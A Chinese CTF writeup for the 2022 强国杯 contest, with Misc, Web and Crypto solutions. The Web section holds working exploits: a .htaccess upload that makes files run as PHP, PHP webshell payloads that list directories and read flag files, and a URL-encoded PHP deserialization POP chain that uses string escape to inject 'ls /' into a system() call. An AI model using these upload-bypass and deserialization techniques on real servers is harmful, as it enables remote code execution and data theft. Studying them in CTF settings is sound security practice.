强国杯 2022 Writeup
写在前面
感觉比赛体验一般,可以理解毕竟这比赛是首届,8:59
准时蹲签到题,结果 9:01
才上签到题?!一开始我以为没有签到题…
赛题迷之崩(赛方说:flag回显成了默认值,所以得到的不是正确flag,下线维护题目,但是已经有十几只队伍提交成功了啊?!接着下线维护了所有 PWN
和 Web
题型,重新上线过后除一二三血,其他队伍均需要重新提交…
其次就是最后环境变成了这样,无法销毁,无法延时,无法重开,直接摆烂了,反正能进复赛就行了。
Misc
Welcome_to_QGB
base64
解码得到flag
找找GIF
aaa
发现文件头是 png
,我们直接改为 aaa.png
改完很明显发现图少了半截,直接更改高度,改完旋转一下图像得到 bbb.zip
的解压密码 fHKKjfido%^&v1
解压后得到 bbb
然后我们发现关键字符串 NETSCAPE2.0
这个字符串说明这个文件是 GIF
我们加上文件头 47 49 46 38 39 61
,同时文件名改为 bbb.gif
即可得到flag
大佬大佬
lsb
隐写,直接导出为 flag.png
然后修改文件高度即可
The fun picture
爆破出密码为 6g3T
解压后三个文件flag
和 flag.txt
是用来迷惑我们的,通过16进制编辑器发现 FUN.png
实际上为 zip
压缩包文件, FUN.png
改为 FUN.zip
得到 flag3
,然后发现 flag3
缺少 png
文件头 89 50 4e 47
,添加后文件后缀改为 .png
扫码得到flag
B@tCh
根据文件内容特征判断为 BatchEncryption
([原创工具][201610]BatchEncryption - 批处理加密程序)加密后的文件,找了个解密脚本 还原BatchEncryption(201610版本)混淆的批处理文件
我们直接把第 17-19
行注释掉,同时 i
的值改为 9
。因为原本第 9-60
个字符为 ::BatchEncryption Build 201610 By gwsbhqt@163.com
字符串,但题目没有这个字符串,所以我们改为从第 9
个字符开始解密,(其实使用16进制编辑器在题目中加入这段字符串就不用修改脚本啦,但是感觉有点麻烦
Web
Upload
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不可以有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("em..........这不还是php吗");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型这么明显!");
}
}
}
?>
黑盒测了一下,过滤了 ph
和 mime
,我们直接上传图片马,先上传一个 .htaccess
文件,把所有文件都当做 php
来执行
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg
SetHandler application/x-httpd-php
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryrFspz4AKexD8h06m--
然后在用 JS
的方式写个 PHP
一句话,一开始写的最常见的一句话被过滤了,看了一下 phpinfo
发现命令执行函数全过滤掉了,反手使用内置函数,先用 var_dump()
和 scandir()
函数打印指定目录内容
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg
GIF89a <script language="php">var_dump(scandir('/var/'))</script>
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryrFspz4AKexD8h06m--
然后在使用 highlight_file()
函数读取文件内容,得到flag。
GIF89a <script language="php">highlight_file('/var/flag')</script>
ezpop_new
<?php
function filter($string) {
$safe = array('system', 'fopen', 'fread', 'file_get_contents', 'flag');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'nonono', $string);
}
class PingUtils {
function __call($name, $args) {
system("ping -c4 ${args[0]}");
}
}
class Cindy {
var $someone;
var $phone;
function call() {
$this->phone->call($this->someone);
}
}
class Bob {
public $flag = True;
public function __get($a) {
if ($this->flag) {
$cindy = new Cindy();
$cindy->someone = $_REQUEST['someone'];
$cindy->phone = "p50";
#var_dump(filter(serialize($cindy)));
$cindy = unserialize(filter(serialize($cindy)));
$cindy->call($someone);
} else {
echo 'nonono';
}
}
public function __wakeup() {
$this->flag = False;
}
}
class Alice {
public function __destruct() {
echo $this->c->b;
}
}
highlight_file(__FILE__);
@unserialize($_GET['pop']);
审计后,找到反序列化最终的落脚点在 class PingUtils::__call()
中的 system("ping -c4 ${args[0]}");
,我们能控制 args[0]
参数 ,而且只需通过命令分隔符;
即可绕过 ping
命令执行想要的命令。那么一直往前推,即可找出整个POP链:
class Alice::__destruct()
echo $this->c->b;
class Bob::__wakeup() //绕过__wakeup()
class Bob::__get($a)
$cindy = unserialize(filter(serialize($cindy))); //字符串逃逸修改$cindy->phone
= "p50"为$cindy->phone = "ls /flag"
$cindy->call($someone);
class Cindy::call()
$this->phone->call($this->someone);
class PingUtils::__call($name,$args)
system("ping -c4 ${args[0]}");
反序列化过程中还涉及到了两个tricks:
绕过 __wakeup()
由于我们需要进入到 class Bob::__get($a)
的 if
子句中,但 Bob
对象在反序列化时首先会触发__wakeup()
,从而使得其 flag
属性为 False
。所以我们通过手动修改序列化流, 使得序列化流中所表示的属性个数大于真实属性个数时,这样会跳过 __wakeup()
魔术方法的执行。
编写exp:
<?php class Alice {
public $b;
public $c;
}
class Bob {
public $flag;
}
$a = new Alice();
$b = new Bob();
$b->flag = True;
$a->c = $b;
$a->b = 'unknow';
?>
# 手动修改序列化流:
# O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}}
# O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D
这里修改Alice
的属性个数或者 Bob
的属性个数应该都可以。
PHP字符串逃逸
利用 $cindy->someone = $_REQUEST['someone'];
逃逸出字符串,从而覆盖 class Bob::__get($a)
中 Cindy
对象的 phone
属性为 PingUtils
对象。而我们要执行命令也存储在 somesone
属性里。
# 1.本地调试,打印出Cindy对象序列化后的流
"O:5:"Cindy":2:{s:7:"someone";s:12:"flagflagflag";s:5:"phone";s:3:"p50";}"
# 2.组织我们要逃逸出的内容。共35个字符
";s:5:"phone";O:9:"PingUtils":0:{}}
# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。
O:5:"Cindy":2:s:7:"someone";s:213:"fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}
# 4.替换后就是,溢出35个字符
O:5:"Cindy":2:s:7:"someone";s:213:"nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}
# URL编码
%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d
因此最后完整的payload就是:
/?pop=O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D&someone=%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d
Crypto
babyRSA
import gmpy2
p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879
q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027
e = 33
c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
h= '0' + h
print(h)
输出的内容16进制转字符串即为flag